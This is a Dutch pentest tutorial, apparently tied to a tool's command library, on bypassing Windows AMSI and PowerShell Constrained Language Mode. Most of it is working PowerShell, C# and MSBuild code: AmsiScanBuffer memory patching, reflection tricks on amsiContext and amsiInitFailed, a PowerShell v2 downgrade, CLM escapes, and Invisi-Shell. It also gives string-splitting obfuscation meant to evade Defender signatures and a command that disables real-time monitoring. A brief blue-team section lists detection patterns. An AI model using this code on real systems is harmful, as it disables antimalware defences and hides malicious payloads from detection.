AMSI Bypass Technieken

Het Antimalware Scan Interface (AMSI) is een van de belangrijkste verdedigingslagen in moderne Windows-omgevingen. Als pentester of red teamer loop je er regelmatig tegenaan wanneer je PowerShell-payloads wilt uitvoeren op een gecompromitteerd systeem. In deze tutorial behandelen we de architectuur van AMSI, de meest gebruikte bypass-technieken en hoe je deze toepast tijdens geautoriseerde beveiligingstests.

Niveau: Gevorderd

Let op — Deze technieken mogen uitsluitend worden toegepast binnen geautoriseerde penetratietests. Ongeautoriseerd gebruik is strafbaar.

Vereisten

Hoe AMSI werkt

De AMSI-architectuur

AMSI is een interface die Microsoft introduceerde in Windows 10. Het stelt antivirusproducten in staat om scripts en code te scannen voordat ze worden uitgevoerd. De flow ziet er als volgt uit:

  1. Een applicatie (bijv. PowerShell) stuurt inhoud naar AMSI via AmsiScanBuffer() of AmsiScanString()
  2. AMSI routeert de scan naar de geregistreerde antimalware-provider (bijv. Windows Defender)
  3. De provider retourneert een resultaat: AMSI_RESULT_CLEAN, AMSI_RESULT_DETECTED, etc.
  4. De applicatie beslist op basis van het resultaat of de code wordt uitgevoerd

Belangrijke functies in amsi.dll

De kernfuncties die AMSI aanbiedt vanuit amsi.dll:

Welke applicaties gebruiken AMSI?

AMSI wordt standaard aangeroepen door:

Bypass Techniek 1: Memory Patching (AmsiScanBuffer)

Dit is de meest betrouwbare bypass. We overschrijven de AmsiScanBuffer-functie in het geheugen zodat deze altijd AMSI_RESULT_CLEAN retourneert.

Hoe het werkt

De techniek laadt amsi.dll, zoekt het adres van AmsiScanBuffer, wijzigt de geheugenpermissies naar schrijfbaar, en overschrijft de eerste bytes met instructies die direct een onschadelijk resultaat retourneren.

Implementatie

# Stap 1: Definieer Win32 API functies via P/Invoke
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint np, out uint op);
}
"@
Add-Type $Win32

# Stap 2: Laad amsi.dll en vind AmsiScanBuffer
$lib = [Win32]::LoadLibrary("amsi.dll")
$addr = [Win32]::GetProcAddress($lib, "AmsiScanBuffer")

# Stap 3: Maak het geheugen schrijfbaar (PAGE_EXECUTE_READWRITE = 0x40)
$oldProtect = 0
[Win32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$oldProtect)

# Stap 4: Patch met bytes: mov eax, 0x80070057 (E_INVALIDARG) + ret
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)

Testen

# Dit zou normaal gedetecteerd worden door AMSI:
IEX 'amsiutils'
# Na de patch: geen detectie

IB — Gebruik het commando amsi_bypass_patch in de IB command library. Dit bevat een geoptimaliseerde one-liner variant van bovenstaande patch.

Detectie en tegenmaatregelen

Windows Defender detecteert bekende varianten van deze patch op basis van de byte-patronen. Obfuscatie van de PowerShell-code is daarom essentieel:

# Voorbeeld obfuscatie: variabele namen randomiseren
$a = "Ams"; $b = "iSc"; $c = "anB"; $d = "uffer"
# Bouw de functienaam dynamisch op
$funcName = $a + $b + $c + $d

Bypass Techniek 2: Reflection-based (AmsiContext Null Pointer)

Deze techniek gebruikt .NET reflection om interne velden van de AMSI-implementatie in PowerShell te manipuleren. Door de amsiContext-pointer op nul te zetten, faalt elke volgende scan.

Implementatie

# Zoek de AmsiUtils klasse via reflection
$types = [Ref].Assembly.GetTypes()
ForEach ($type in $types) {
    if ($type.Name -like "*iUtils") { $amsiUtils = $type }
}

# Zoek het amsiContext veld
$fields = $amsiUtils.GetFields('NonPublic,Static')
ForEach ($field in $fields) {
    if ($field.Name -like "*Context") { $contextField = $field }
}

# Zet de context pointer naar 0 (null)
$context = $contextField.GetValue($null)
[IntPtr]$ptr = $context
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

IB — Het commando amsi_bypass_reflection bevat een compacte versie. Combineer dit eventueel met Set-MpPreference -DisableRealtimeMonitoring $true als je admin-rechten hebt.

Beperkingen

Bypass Techniek 3: amsiInitFailed Flag

De eenvoudigste bypass: zet de interne amsiInitFailed-vlag naar true. PowerShell denkt dan dat AMSI-initialisatie is mislukt en slaat alle scans over.

Implementatie

# Zoek de AmsiUtils klasse
$types = [Ref].Assembly.GetTypes()
ForEach ($type in $types) {
    if ($type.Name -like "*iUtils") { $amsiUtils = $type }
}

# Zoek het amsiInitFailed veld
$fields = $amsiUtils.GetFields('NonPublic,Static')
ForEach ($field in $fields) {
    if ($field.Name -like "*Failed") { $initField = $field }
}

# Zet naar true
$initField.SetValue($null, $true)

IB — Gebruik het commando amsi_bypass_context voor deze techniek. Let op: de string amsiInitFailed wordt actief gemonitord door Defender.

Obfuscatie-voorbeeld

# Breek strings op om signature-detectie te omzeilen
$w = 'System.Management.Automation.A'
$c = 'si' + 'Ut' + 'ils'
$z = [Ref].Assembly.GetType(($w + 'm' + $c))
$f = $z.GetField(('a' + 'ms' + 'iI' + 'ni' + 'tF' + 'ai' + 'led'), 'NonPublic,Static')
$f.SetValue($null, $true)

Bypass Techniek 4: PowerShell Downgrade (v2)

PowerShell versie 2 heeft geen AMSI-integratie. Als .NET Framework 2.0 nog beschikbaar is op het doelsysteem, kun je simpelweg terugvallen op versie 2.

Controle en gebruik

# Check of PowerShell v2 beschikbaar is
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

# Start PowerShell v2 (geen AMSI, geen CLM)
powershell -version 2

# Verifieer de versie
$PSVersionTable.PSVersion

Beperkingen

Bypass Techniek 5: Constrained Language Mode (CLM) Bypass

CLM beperkt welke .NET-types en -methoden je kunt gebruiken in PowerShell. Dit wordt vaak gecombineerd met AMSI. Als je CLM omzeilt, heb je volledige toegang tot .NET en kun je vervolgens AMSI patchen.

Methode 1: Custom Runspace

# Maak een nieuwe runspace aan die niet onder CLM valt
powershell -c "$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA'
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$p = $rs.CreatePipeline()
$p.Commands.AddScript('`$ExecutionContext.SessionState.LanguageMode')
$p.Invoke()"

Methode 2: PSBypassCLM via InstallUtil

# Gebruik InstallUtil om een .NET assembly te laden buiten CLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\tasks\PSBypassCLM.exe

Methode 3: MSBuild Inline Task

<!-- clm_bypass.xml - C# code wordt uitgevoerd buiten CLM -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Bypass">
    <ClassExample />
  </Target>
  <UsingTask TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
        using System;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample : Task, ITask {
            public override bool Execute() {
                Console.WriteLine("CLM Bypassed!");
                return true;
            }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\tasks\clm_bypass.xml

IB — Het commando amsi_bypass_clm bevat alle drie de methoden. Kies de methode die past bij de restricties van je doelomgeving.

Bypass Techniek 6: Invisi-Shell

Invisi-Shell gebruikt een custom CLR profiler DLL die hooks plaatst op de PowerShell-engine. Dit omzeilt niet alleen AMSI, maar ook Script Block Logging, Module Logging en Transcription.

Gebruik

# Met admin-rechten (registry keys in HKLM):
RunWithPathAsAdmin.bat

# Zonder admin-rechten (registry keys in HKCU):
RunWithRegistryNonAdmin.bat

# Na gebruik: exit om hooks en registry keys op te ruimen
exit

Voordelen

Aandachtspunten

IB — Gebruik het commando amsi_invisishell en zorg dat de InvisiShell bestanden via get_invisi of get_ie_invisi op het doelsysteem staan.

Bypass-strategie kiezen

Techniek Admin nodig Betrouwbaarheid Detectiekans Scope
Memory Patch Nee Hoog Middel Huidige sessie
Reflection Nee Middel Middel Huidige sessie
amsiInitFailed Nee Middel Hoog Huidige sessie
PS Downgrade Nee Laag Laag Nieuwe sessie
CLM Bypass Soms Middel Laag Nieuwe runspace
Invisi-Shell Optioneel Hoog Laag Nieuw proces

Aanbevolen aanpak

  1. Probeer eerst de memory patch (meest betrouwbaar)
  2. Als dat gedetecteerd wordt, gebruik Invisi-Shell (als je bestanden kunt uploaden)
  3. In geharde omgevingen: combineer CLM bypass met een obfuscated AMSI patch
  4. Als laatste redmiddel: PowerShell v2 downgrade (als beschikbaar)

Detectie vanuit Blue Team perspectief

Als verdediger kun je AMSI-bypasses detecteren door te letten op:

# Event ID 4104 - Script Block Logging
# Zoek naar verdachte patronen:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
    Where-Object { $_.Message -match 'AmsiScanBuffer|VirtualProtect|amsiInitFailed' }

Andere detectie-indicatoren:

Samenvatting

AMSI is een krachtige verdedigingslaag, maar kent meerdere bypass-mogelijkheden. De memory patch op AmsiScanBuffer is de meest betrouwbare methode, terwijl Invisi-Shell de meest uitgebreide bescherming biedt tegen detectie. In de praktijk zul je technieken moeten combineren en obfusceren, afhankelijk van de beveiligingsmaatregelen van het doelsysteem.

Belangrijke punten:

IB — Alle AMSI bypass commando’s zijn te vinden in de command library onder het amsi_ prefix. De bijbehorende payloads (zoals amsi-bypass.ps1 en amsi-shell.ps1) staan in de http/payloads/ directory.